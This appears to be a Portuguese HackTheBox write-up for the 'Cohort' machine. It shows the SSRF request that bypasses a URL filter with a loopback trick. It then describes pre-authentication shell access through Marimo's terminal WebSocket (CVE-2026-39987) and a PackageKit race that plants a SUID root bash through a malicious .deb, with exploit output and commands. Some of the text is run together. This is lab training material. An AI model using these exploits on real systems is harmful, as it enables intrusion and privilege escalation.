
HTB Cohort - SSRF, RCE pré-autenticação no Marimo (CVE-2026-39987) e privesc no PackageKit (CVE-2026-41651)
Máquina Cohort (HackTheBox). Cadeia de ataque completa:
/api/validate) → descoberta de vhost internomarimoAs flags não foram incluídas intencionalmente (regras do HTB).
10.129.93.8 cohort.htb
/api/...)nb-1be3782a8afd3ad5.cohort.htb), não exposto externamenteA aplicação expunha um endpoint de validação de URL que buscava conteúdo remoto e o refletia. O filtro de URL podia ser contornado codificando o endereço de loopback:
POST /api/validate HTTP/1.1
Host: cohort.htb
{"url": "http://127.1:80/status"}
Isso atingiu o nginx interno e revelou os upstreams configurados, incluindo o
vhost interno do Marimo nb-1be3782a8afd3ad5.cohort.htb → 127.0.0.1:8888.
O handler do terminal WebSocket do notebook do Marimo não validava a autenticação.
Conectar-se a /terminal/ws gera um shell bash via pty.fork().
O vhost interno era acessível através do nginx externo enviando o cabeçalho
Host interno:
./scripts/marimo_shell.py 10.129.93.8
[+] connected to wss://10.129.93.8/terminal/ws host=nb-1be3782a8afd3ad5.cohort.htb
marimo@cohort:~$
Resultado: shell como marimo (uid 1000).
marimodpkg -l | grep -i packagekit → PackageKit 1.2.8-2ubuntu1.1pkcon / polkit correspondem ao padrão TOCTOU vulneráveluser.txt em /home/marimo/user.txtO PackageKit 1.2.8 tem uma falha de time-of-check / time-of-use: o papel e as
flags da transação lidos pelo callback idle do GLib podem sofrer race ao emitir duas chamadas D-Bus assíncronas
na mesma transação, de modo que o backend privilegiado executa a segunda chamada (papel NONE,
sem verificação de autenticação) mesmo que a primeira (SIMULATE) já tenha passado pela
verificação de autorização.
Duas chamadas são emitidas em sequência na mesma transação:
InstallFiles(SIMULATE=4) — passa pela verificação de autorização do polkitInstallFiles(NONE=0) — carrega o .deb malicioso, lido como parte do mesmo
lote de mensagensO .deb malicioso executa um script postinst como root que deixa um bash SUID:
cp /bin/bash /tmp/.suid_bash && chmod u+s /tmp/.suid_bash
Detalhe chave: as duas chamadas devem ser enviadas juntas para que o backend leia ambas
as mensagens em um único lote. Use call() assíncrono do GIO + flush_sync():
./scripts/cve-2026-41651_gio.py
[*] CVE-2026-41651 GIO exploit
[+] TxID: /org/freedesktop/PackageKit/Transaction/22/_c3e63a1a
[*] Racing: SIMULATE=4 -> NONE=0 ...
[*] Polling for SUID bash (60s)...
........................[+] SUCCESS: SUID bash at /tmp/.suid_bash
O exploit inicial usava python-dbus:
./scripts/cve-2026-41651_pydbus.py # ❌ race perdida
O python-dbus serializa as duas chamadas InstallFiles em escritas separadas, então o
callback idle do backend as processou como eventos separados e a race nunca ocorreu.
O flush_sync do GIO envia ambas as mensagens D-Bus em um único lote de escrita → race vencida.
/tmp/.suid_bash -p -c 'id'
# uid=1000(marimo) euid=0(root) ...
/root/root.txt legível.
scripts/
├── marimo_shell.py # CVE-2026-39987 — WebSocket shell as marimo
├── cve-2026-41651_gio.py # CVE-2026-41651 — PackageKit TOCTOU (working, GIO)
└── cve-2026-41651_pydbus.py # CVE-2026-41651 — first attempt (python-dbus, race lost)